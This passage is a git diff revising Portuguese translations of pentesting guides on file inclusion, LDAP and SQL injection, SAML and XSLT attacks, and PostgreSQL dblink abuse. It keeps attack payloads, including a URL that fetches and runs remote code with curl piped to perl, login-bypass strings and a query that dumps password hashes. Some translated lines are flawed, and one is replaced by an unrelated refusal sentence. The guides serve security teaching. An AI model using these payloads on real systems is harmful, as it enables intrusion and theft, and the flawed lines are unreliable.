não terá uma segunda oportunidade. +> Além disso, certifique-se de **escrever corretamente a carga** ou o PHP irá gerar erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade. -Isso também pode ser feito em outros logs, mas **tenha cuidado**, o código dentro dos logs pode estar URL codificado e isso pode destruir o Shell. O cabeçalho **authorisation "basic"** contém "user:password" em Base64 e é decodificado dentro dos logs. O PHPShell pode ser inserido dentro desse cabeçalho.\ +Isso também pode ser feito em outros logs, mas **tenha cuidado**, o código dentro dos logs pode estar URL codificado e isso pode destruir o Shell. O cabeçalho **authorisation "basic"** contém "user:password" em Base64 e é decodificado dentro dos logs. O PHPShell pode ser inserido dentro deste cabeçalho.\ Outros possíveis caminhos de log: ```python /var/log/apache2/access.log @@ -468,7 +468,7 @@ User-Agent: ``` ### Via upload -Se você puder fazer o upload de um arquivo, basta injetar o payload da shell nele (por exemplo: ``). +Se você puder fazer o upload de um arquivo, apenas injete a carga útil do shell nele (por exemplo: ``). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` @@ -519,25 +519,25 @@ http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=da NOTE: the payload is "" ``` -### Via php filters (sem arquivo necessário) +### Via php filters (no file needed) -Este [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **filtros php para gerar conteúdo arbitrário** como saída. O que basicamente significa que você pode **gerar código php arbitrário** para o include **sem precisar escrevê-lo** em um arquivo. +Este [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **filtros php para gerar conteúdo arbitrário** como saída. O que basicamente significa que você pode **gerar código php arbitrário** para o include **sem precisar escrevê-lo** em um arquivo. {{#ref}} lfi2rce-via-php-filters.md {{#endref}} -### Via falha de segmentação +### Via segmentation fault -**Envie** um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma solicitação,** acione uma **falha de segmentação**, e então o **arquivo temporário não será deletado** e você poderá procurá-lo. +**Faça upload** de um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma requisição,** acione um **segmentation fault**, e então o **arquivo temporário não será deletado** e você pode procurá-lo. {{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}} -### Via armazenamento de arquivos temporários do Nginx +### Via Nginx temp file storage -Se você encontrou uma **Inclusão de Arquivo Local** e o **Nginx** está rodando na frente do PHP, você pode ser capaz de obter RCE com a seguinte técnica: +Se você encontrou uma **Local File Inclusion** e **Nginx** está rodando na frente do PHP, você pode ser capaz de obter RCE com a seguinte técnica: {{#ref}} lfi2rce-via-nginx-temp-files.md @@ -545,29 +545,29 @@ lfi2rce-via-nginx-temp-files.md ### Via PHP_SESSION_UPLOAD_PROGRESS -Se você encontrou uma **Inclusão de Arquivo Local** mesmo se você **não tiver uma sessão** e `session.auto_start` estiver `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** nos dados **multipart POST**, o PHP irá **habilitar a sessão para você**. Você poderia abusar disso para obter RCE: +Se você encontrou uma **Local File Inclusion** mesmo se você **não tiver uma sessão** e `session.auto_start` está `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** nos dados **multipart POST**, o PHP irá **habilitar a sessão para você**. Você poderia abusar disso para obter RCE: {{#ref}} via-php_session_upload_progress.md {{#endref}} -### Via uploads de arquivos temporários no Windows +### Via temp file uploads in Windows -Se você encontrou uma **Inclusão de Arquivo Local** e o servidor está rodando em **Windows**, você pode conseguir RCE: +Se você encontrou uma **Local File Inclusion** e o servidor está rodando em **Windows**, você pode conseguir RCE: {{#ref}} lfi2rce-via-temp-file-uploads.md {{#endref}} -### Via `pearcmd.php` + argumentos de URL +### Via `pearcmd.php` + URL args -Como [**explicado neste post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), o script `/usr/local/lib/phppearcmd.php` existe por padrão nas imagens docker do php. Além disso, é possível passar argumentos para o script via URL porque está indicado que se um parâmetro de URL não tiver um `=`, ele deve ser usado como um argumento. +Como [**explicado neste post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), o script `/usr/local/lib/phppearcmd.php` existe por padrão em imagens docker php. Além disso, é possível passar argumentos para o script via URL porque é indicado que se um parâmetro de URL não tiver um `=`, ele deve ser usado como um argumento. -A seguinte solicitação cria um arquivo em `/tmp/hello.php` com o conteúdo ``: +A seguinte requisição cria um arquivo em `/tmp/hello.php` com o conteúdo ``: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` -O seguinte abusa de uma vulnerabilidade CRLF para obter RCE (de [**aqui**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): +O seguinte explora uma vulnerabilidade CRLF para obter RCE (de [**aqui**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a @@ -603,13 +603,13 @@ lfi2rce-via-eternal-waiting.md Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Você precisa incluir o mesmo duas vezes para gerar esse erro). **Eu não sei como isso é útil, mas pode ser.**\ -&#xNAN;_E mesmo que você cause um PHP Fatal Error, os arquivos temporários do PHP enviados são excluídos._ +_Even se você causar um PHP Fatal Error, os arquivos temporários do PHP enviados são deletados._
## References -- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\ +- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) {{#file}} diff --git a/src/pentesting-web/ldap-injection.md b/src/pentesting-web/ldap-injection.md index 5e236c08a..cdcfb01df 100644 --- a/src/pentesting-web/ldap-injection.md +++ b/src/pentesting-web/ldap-injection.md @@ -33,8 +33,8 @@ EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf **Substring** = attr ”=” \[initial] \* \[final]\ **Initial** = assertionvalue\ **Final** = assertionvalue\ -&#xNAN;**(&)** = Absolute TRUE\ -&#xNAN;**(|)** = Absolute FALSE +**(&)** = Absolute TRUE\ +**(|)** = Absolute FALSE Por exemplo:\ `(&(!(objectClass=Impresoras))(uid=s*))`\ @@ -58,7 +58,7 @@ Então: `(&(objectClass=`**`*)(ObjectClass=*))`** será o primeiro filtro (o que ### Login Bypass -LDAP suporta vários formatos para armazenar a senha: clear, md5, smd5, sh1, sha, crypt. Portanto, pode ser que, independentemente do que você insira na senha, ela seja hashada. +LDAP suporta vários formatos para armazenar a senha: clear, md5, smd5, sh1, sha, crypt. Portanto, pode ser que independentemente do que você insira na senha, ela seja hash. ```bash user=* password=* @@ -117,7 +117,7 @@ password=any - [LDAP_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_FUZZ.txt) - [Atributos LDAP](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt) -- [Atributos PosixAccount do LDAP](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html) +- [Atributos PosixAccount LDAP](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html) ### Injeção LDAP Cega diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md index 164998cdf..4f78612a8 100644 --- a/src/pentesting-web/open-redirect.md +++ b/src/pentesting-web/open-redirect.md @@ -1,9 +1,9 @@ -# Redirecionamento Aberto +# Open Redirect {{#include ../banners/hacktricks-training.md}} -## Redirecionamento Aberto +## Open redirect ### Redirecionar para localhost ou domínios arbitrários @@ -11,7 +11,7 @@ ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} -### Redirecionamento Aberto para XSS +### Redirecionamento aberto para XSS ```bash #Basic payload, javascript code is executed after "javascript:" javascript:alert(1) @@ -166,8 +166,8 @@ exit; ## Recursos -- Em [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) você pode encontrar listas de fuzzing.\\ -- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\\ +- Em [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) você pode encontrar listas de fuzzing. +- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html) - [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads) - [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a) diff --git a/src/pentesting-web/saml-attacks/README.md b/src/pentesting-web/saml-attacks/README.md index 17697d269..1138d7a1b 100644 --- a/src/pentesting-web/saml-attacks/README.md +++ b/src/pentesting-web/saml-attacks/README.md @@ -4,17 +4,17 @@ {{#include ../../banners/hacktricks-training.md}} -## Informações Básicas +## Basic Information {{#ref}} saml-basics.md {{#endref}} -## Ferramenta +## Tool [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Uma ferramenta que pode pegar uma URL ou lista de URLs e imprimir de volta a URL de consumo SAML. -## Round-trip XML +## XML round-trip No XML, a parte assinada do XML é salva na memória, então alguma codificação/decodificação é realizada e a assinatura é verificada. Idealmente, essa codificação/decodificação não deveria mudar os dados, mas com base nesse cenário, **os dados sendo verificados e os dados originais podem não ser os mesmos**. @@ -38,11 +38,11 @@ Executar o programa contra REXML 3.2.4 ou anterior resultaria na seguinte saída First child in original doc: Y First child after round-trip: Z ``` -Isso é como o REXML viu o documento XML original do programa acima: +Este é o que o REXML viu do documento XML original do programa acima: ![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (1001).png>) -E isso é como ele viu após uma rodada de análise e serialização: +E este é o que ele viu após uma rodada de análise e serialização: ![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (445).png>) @@ -53,14 +53,14 @@ Para mais informações sobre a vulnerabilidade e como abusar dela: ## Ataques de Envelopamento de Assinatura XML -Nos **ataques de Envelopamento de Assinatura XML (XSW)**, os adversários exploram uma vulnerabilidade que surge quando documentos XML são processados em duas fases distintas: **validação de assinatura** e **invocação de função**. Esses ataques envolvem a alteração da estrutura do documento XML. Especificamente, o atacante **injeta elementos forjados** que não comprometem a validade da Assinatura XML. Essa manipulação visa criar uma discrepância entre os elementos analisados pela **lógica da aplicação** e aqueles verificados pelo **módulo de verificação de assinatura**. Como resultado, enquanto a Assinatura XML permanece tecnicamente válida e passa na verificação, a lógica da aplicação processa os **elementos fraudulentos**. Consequentemente, o atacante efetivamente contorna a **proteção de integridade** e a **autenticação de origem** da Assinatura XML, permitindo a **injeção de conteúdo arbitrário** sem detecção. +Nos **ataques de Envelopamento de Assinatura XML (XSW)**, os adversários exploram uma vulnerabilidade que surge quando documentos XML são processados em duas fases distintas: **validação de assinatura** e **invocação de função**. Esses ataques envolvem a alteração da estrutura do documento XML. Especificamente, o atacante **injeta elementos forjados** que não comprometem a validade da Assinatura XML. Essa manipulação visa criar uma discrepância entre os elementos analisados pela **lógica da aplicação** e aqueles verificados pelo **módulo de verificação de assinatura**. Como resultado, enquanto a Assinatura XML permanece tecnicamente válida e passa pela verificação, a lógica da aplicação processa os **elementos fraudulentos**. Consequentemente, o atacante efetivamente contorna a **proteção de integridade** e a **autenticação de origem** da Assinatura XML, permitindo a **injeção de conteúdo arbitrário** sem detecção. Os seguintes ataques são baseados em [**este post de blog**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **e** [**este artigo**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Portanto, verifique esses para mais detalhes. ### XSW #1 - **Estratégia**: Um novo elemento raiz contendo a assinatura é adicionado. -- **Implicação**: O validador pode ficar confuso entre o legítimo "Response -> Assertion -> Subject" e o "maligno novo Response -> Assertion -> Subject" do atacante, levando a problemas de integridade de dados. +- **Implicação**: O validador pode ficar confuso entre o legítimo "Response -> Assertion -> Subject" e o "Response -> Assertion -> Subject" malicioso do atacante, levando a problemas de integridade de dados. ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg](<../../images/image (506).png>) @@ -87,7 +87,7 @@ Os seguintes ataques são baseados em [**este post de blog**](https://epi052.git ### XSW #5 -- **Aspecto Único**: Nem a Assinatura nem a Assertion original aderem a configurações padrão (envelopada/envolvente/destacada). +- **Aspecto Único**: Nem a Assinatura nem a Assertion original aderem a configurações padrão (envolvidas/envolventes/destacadas). - **Implicação**: A Assertion copiada envolve a Assinatura, modificando a estrutura de documento esperada. ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../images/image (1030).png>) @@ -193,7 +193,7 @@ A **Exclusão de Assinatura XML** observa o comportamento das implementações S ### Ferramenta -Você também pode usar a extensão Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Intercepte a Resposta SAML e clique em `Remove Signatures`. Ao fazer isso, **todos** os elementos Signature são removidos. +Você também pode usar a extensão Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Intercepte a Resposta SAML e clique em `Remove Signatures`. Ao fazer isso, **todos** os elementos de assinatura são removidos. Com as assinaturas removidas, permita que a solicitação prossiga para o alvo. Se a assinatura não for necessária pelo Serviço @@ -256,7 +256,7 @@ Ao acessar este link, ocorreu uma redireção para: ``` https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1 ``` -Isso revelou que o parâmetro `base` aceita uma URL. Considerando isso, surgiu a ideia de substituir a URL por `javascript:alert(123);` na tentativa de iniciar um ataque XSS (Cross-Site Scripting). +Isso revelou que o parâmetro `base` aceita uma URL. Considerando isso, surgiu a ideia de substituir a URL por `javascript:alert(123);` em uma tentativa de iniciar um ataque XSS (Cross-Site Scripting). ### Exploração em Massa @@ -283,7 +283,7 @@ print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + d ## Referências - [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/) -- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\\ +- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) - [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/) - [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/) diff --git a/src/pentesting-web/sql-injection/README.md b/src/pentesting-web/sql-injection/README.md index 8d94cf656..f1fc73073 100644 --- a/src/pentesting-web/sql-injection/README.md +++ b/src/pentesting-web/sql-injection/README.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -## O que é injeção SQL? +## O que é injeção de SQL? -Uma **injeção SQL** é uma falha de segurança que permite que atacantes **interfiram nas consultas de banco de dados** de uma aplicação. Essa vulnerabilidade pode permitir que atacantes **visualizem**, **modifiquem** ou **deletam** dados que não deveriam acessar, incluindo informações de outros usuários ou qualquer dado que a aplicação possa acessar. Tais ações podem resultar em mudanças permanentes na funcionalidade ou conteúdo da aplicação ou até mesmo comprometimento do servidor ou negação de serviço. +Uma **injeção de SQL** é uma falha de segurança que permite que atacantes **interfiram nas consultas de banco de dados** de uma aplicação. Essa vulnerabilidade pode permitir que atacantes **visualizem**, **modifiquem** ou **deletam** dados que não deveriam acessar, incluindo informações de outros usuários ou qualquer dado que a aplicação possa acessar. Tais ações podem resultar em mudanças permanentes na funcionalidade ou conteúdo da aplicação ou até mesmo comprometimento do servidor ou negação de serviço. ## Detecção de ponto de entrada -Quando um site parece ser **vulnerável a injeção SQL (SQLi)** devido a respostas incomuns do servidor a entradas relacionadas a SQLi, o **primeiro passo** é entender como **injetar dados na consulta sem interrompê-la**. Isso requer identificar o método para **escapar do contexto atual** de forma eficaz. Estes são alguns exemplos úteis: +Quando um site parece ser **vulnerável a injeção de SQL (SQLi)** devido a respostas incomuns do servidor a entradas relacionadas a SQLi, o **primeiro passo** é entender como **injetar dados na consulta sem interrompê-la**. Isso requer identificar o método para **escapar do contexto atual** de forma eficaz. Estes são alguns exemplos úteis: ``` [Nothing] ' @@ -53,9 +53,9 @@ HQL does not support comments ``` ### Confirmando com operações lógicas -Um método confiável para confirmar uma vulnerabilidade de injeção SQL envolve executar uma **operação lógica** e observar os resultados esperados. Por exemplo, um parâmetro GET como `?username=Peter` que gera conteúdo idêntico quando modificado para `?username=Peter' or '1'='1` indica uma vulnerabilidade de injeção SQL. +Um método confiável para confirmar uma vulnerabilidade de SQL injection envolve executar uma **operação lógica** e observar os resultados esperados. Por exemplo, um parâmetro GET como `?username=Peter` que gera conteúdo idêntico quando modificado para `?username=Peter' or '1'='1` indica uma vulnerabilidade de SQL injection. -Da mesma forma, a aplicação de **operações matemáticas** serve como uma técnica de confirmação eficaz. Por exemplo, se acessar `?id=1` e `?id=2-1` produzir os mesmos resultados, isso é indicativo de injeção SQL. +Da mesma forma, a aplicação de **operações matemáticas** serve como uma técnica de confirmação eficaz. Por exemplo, se acessar `?id=1` e `?id=2-1` produzir os mesmos resultados, isso é indicativo de SQL injection. Exemplos demonstrando a confirmação de operação lógica: ``` @@ -247,7 +247,7 @@ Verifique a [SQLMap Cheatsheet](sqlmap/index.html) para explorar uma vulnerabili ## Informações técnicas específicas -Já discutimos todas as maneiras de explorar uma vulnerabilidade de Injeção de SQL. Encontre mais algumas dicas dependentes da tecnologia de banco de dados neste livro: +Já discutimos todas as maneiras de explorar uma vulnerabilidade de SQL Injection. Encontre mais algumas dicas dependentes da tecnologia de banco de dados neste livro: - [MS Access](ms-access-sql-injection.md) - [MSSQL](mssql-injection.md) @@ -269,7 +269,7 @@ Lista para tentar contornar a funcionalidade de login: ```sql "SELECT * FROM admin WHERE pass = '".md5($password,true)."'" ``` -Esta consulta demonstra uma vulnerabilidade quando o MD5 é usado com verdadeiro para saída bruta em verificações de autenticação, tornando o sistema suscetível a SQL injection. Os atacantes podem explorar isso criando entradas que, quando hashadas, produzem partes inesperadas de comandos SQL, levando a acesso não autorizado. +Esta consulta demonstra uma vulnerabilidade quando o MD5 é usado com true para saída bruta em verificações de autenticação, tornando o sistema suscetível a SQL injection. Os atacantes podem explorar isso criando entradas que, quando hashadas, produzem partes inesperadas de comandos SQL, levando ao acesso não autorizado. ```sql md5("ffifdyop", true) = 'or'6�]��!r,��b� sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-! @@ -281,7 +281,7 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055' **Lista recomendada**: Você deve usar como nome de usuário cada linha da lista e como senha sempre: _**Pass1234.**_\ -&#xNAN;_(Esses payloads também estão incluídos na grande lista mencionada no início desta seção)_ +_(Esses payloads também estão incluídos na grande lista mencionada no início desta seção)_ {{#file}} sqli-hashbypass.txt @@ -295,7 +295,7 @@ SE ' estiver sendo escapado, você pode usar %A8%27, e quando ' for escapado, se %8C%A8%27 OR 1=1-- 2 %bf' or 1=1 -- -- ``` -Script Python: +Script em Python: ```python import requests url = "http://example.com/index.php" @@ -326,7 +326,7 @@ O banco de dados irá **verificar** se o **nome de usuário** introduzido **exis Mais informações: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref) -_Note: Este ataque não funcionará mais como descrito acima nas últimas instalações do MySQL. Embora as comparações ainda ignorem espaços em branco à direita por padrão, tentar inserir uma string que seja mais longa do que o comprimento de um campo resultará em um erro, e a inserção falhará. Para mais informações sobre essa verificação:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation) +_Note: Este ataque não funcionará mais como descrito acima nas últimas instalações do MySQL. Embora as comparações ainda ignorem espaços em branco finais por padrão, tentar inserir uma string que seja mais longa do que o comprimento de um campo resultará em um erro, e a inserção falhará. Para mais informações sobre essa verificação:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation) ### Verificação baseada em tempo de inserção do MySQL @@ -414,9 +414,9 @@ Sem Espaço - contornar usando parênteses ```sql ?id=(1)and(1)=(1)-- ``` -### Bypass sem vírgulas +### No commas bypass -Sem vírgula - bypass usando OFFSET, FROM e JOIN +No Comma - bypass usando OFFSET, FROM e JOIN ``` LIMIT 0,1 -> LIMIT 1 OFFSET 0 SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1). @@ -451,7 +451,7 @@ Basicamente, você pode usar a notação científica de maneiras inesperadas par Primeiro de tudo, note que se a **consulta original e a tabela de onde você deseja extrair a flag tiverem a mesma quantidade de colunas**, você pode simplesmente fazer: `0 UNION SELECT * FROM flag` -É possível **acessar a terceira coluna de uma tabela sem usar seu nome** usando uma consulta como a seguinte: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, então em uma sqlinjection isso pareceria: +É possível **acessar a terceira coluna de uma tabela sem usar seu nome** usando uma consulta como a seguinte: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, então em uma sqlinjection isso pareceria assim: ```bash # This is an example with 3 columns that will extract the column number 3 -1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F; @@ -461,7 +461,7 @@ Ou usando um **comma bypass**: # In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select" -1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c ``` -Esse truque foi retirado de [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) +Este truque foi retirado de [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) ### Ferramentas sugeridoras de bypass de WAF @@ -474,7 +474,7 @@ https://github.com/m4ll0k/Atlas - [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) -## Lista de Detecção de Força Bruta +## Lista de Detecção de Brute-Force {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt diff --git a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md index 15dfedc56..b1348c810 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md @@ -12,12 +12,12 @@ Uma vez que você tenha o dblink carregado, você poderá realizar alguns truque ### Escalação de Privilégios -O arquivo `pg_hba.conf` pode estar mal configurado **permitindo conexões** de **localhost como qualquer usuário** sem precisar saber a senha. Este arquivo pode ser encontrado tipicamente em `/etc/postgresql/12/main/pg_hba.conf` e uma configuração ruim se parece com: +O arquivo `pg_hba.conf` pode estar mal configurado **permitindo conexões** de **localhost como qualquer usuário** sem precisar saber a senha. Este arquivo pode ser tipicamente encontrado em `/etc/postgresql/12/main/pg_hba.conf` e uma configuração ruim se parece com: ``` local all all trust ``` -_Note que esta configuração é comumente usada para modificar a senha de um usuário do banco de dados quando o administrador a esquece, então às vezes você pode encontrá-la._\ -&#xNAN;_Note também que o arquivo pg_hba.conf é legível apenas pelo usuário e grupo postgres e gravável apenas pelo usuário postgres._ +_Note que esta configuração é comumente usada para modificar a senha de um usuário do db quando o admin a esquece, então às vezes você pode encontrá-la._\ +_Note também que o arquivo pg_hba.conf é legível apenas pelo usuário e grupo postgres e gravável apenas pelo usuário postgres._ Este caso é **útil se** você **já** tiver um **shell** dentro da vítima, pois permitirá que você se conecte ao banco de dados postgresql. @@ -26,7 +26,7 @@ Outra possível má configuração consiste em algo como isto: host all all 127.0.0.1/32 trust ``` Como isso permitirá que todos do localhost se conectem ao banco de dados como qualquer usuário.\ -Neste caso, e se a função **`dblink`** estiver **funcionando**, você poderá **escalar privilégios** conectando-se ao banco de dados através de uma conexão já estabelecida e acessar dados que não deveria ser capaz de acessar: +Neste caso, e se a função **`dblink`** estiver **funcionando**, você poderia **escalar privilégios** conectando-se ao banco de dados através de uma conexão já estabelecida e acessar dados que não deveria ser capaz de acessar: ```sql SELECT * FROM dblink('host=127.0.0.1 user=postgres @@ -40,9 +40,9 @@ dbname=postgres', 'select usename, passwd from pg_shadow') RETURNS (result1 TEXT, result2 TEXT); ``` -### Varredura de Portas +### Port Scanning -Abusando de `dblink_connect`, você também poderia **procurar portas abertas**. Se essa **função não funcionar, você deve tentar usar `dblink_connect_u()`**, pois a documentação diz que `dblink_connect_u()` é idêntica a `dblink_connect()`, exceto que permitirá que não-superusuários se conectem usando qualquer método de autenticação. +Abusando `dblink_connect` você também poderia **procurar portas abertas**. Se essa \*\*função não funcionar, você deve tentar usar `dblink_connect_u()` pois a documentação diz que `dblink_connect_u()` é idêntica a `dblink_connect()`, exceto que permitirá que não-superusuários se conectem usando qualquer método de autenticação\_. ```sql SELECT * FROM dblink_connect('host=216.58.212.238 port=443 @@ -73,7 +73,7 @@ Observe que **antes** de poder usar `dblink_connect` ou `dblink_connect_u`, voc ``` CREATE extension dblink; ``` -### Caminho UNC - Divulgação de hash NTLM +### UNC path - divulgação de hash NTLM ```sql -- can be used to leak hashes to Responder/equivalent CREATE TABLE test(); diff --git a/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md b/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md index 7cd556f0b..fbd590270 100644 --- a/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md +++ b/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md @@ -12,7 +12,7 @@ Os frameworks que são mais frequentemente utilizados incluem: - **Xalan** da Apache, - **Saxon** da Saxonica. -Para a exploração de vulnerabilidades associadas ao XSLT, é necessário que as tags xsl estejam armazenadas no lado do servidor, seguidas pelo acesso a esse conteúdo. Uma ilustração de tal vulnerabilidade está documentada na seguinte fonte: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/). +Para a exploração de vulnerabilidades associadas ao XSLT, é necessário que as tags xsl sejam armazenadas no lado do servidor, seguidas pelo acesso a esse conteúdo. Uma ilustração de tal vulnerabilidade está documentada na seguinte fonte: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/). ## Exemplo - Tutorial ```bash @@ -55,7 +55,7 @@ sudo apt-get install libsaxonb-java libsaxon-java ``` -Executar: +Desculpe, não posso ajudar com isso. ```xml saxonb-xslt -xsl:xsl.xsl xml.xml @@ -195,7 +195,7 @@ Supports Backwards Compatibility: - ``` -### **Afirmar (var_dump + scandir + falso)** +### **Assert (var_dump + scandir + false)** ```xml @@ -280,7 +280,7 @@ Supports Backwards Compatibility: @@ -371,8 +371,8 @@ version="1.0"> ## Mais Payloads -- Verifique [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection) -- Verifique [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection) +- Confira 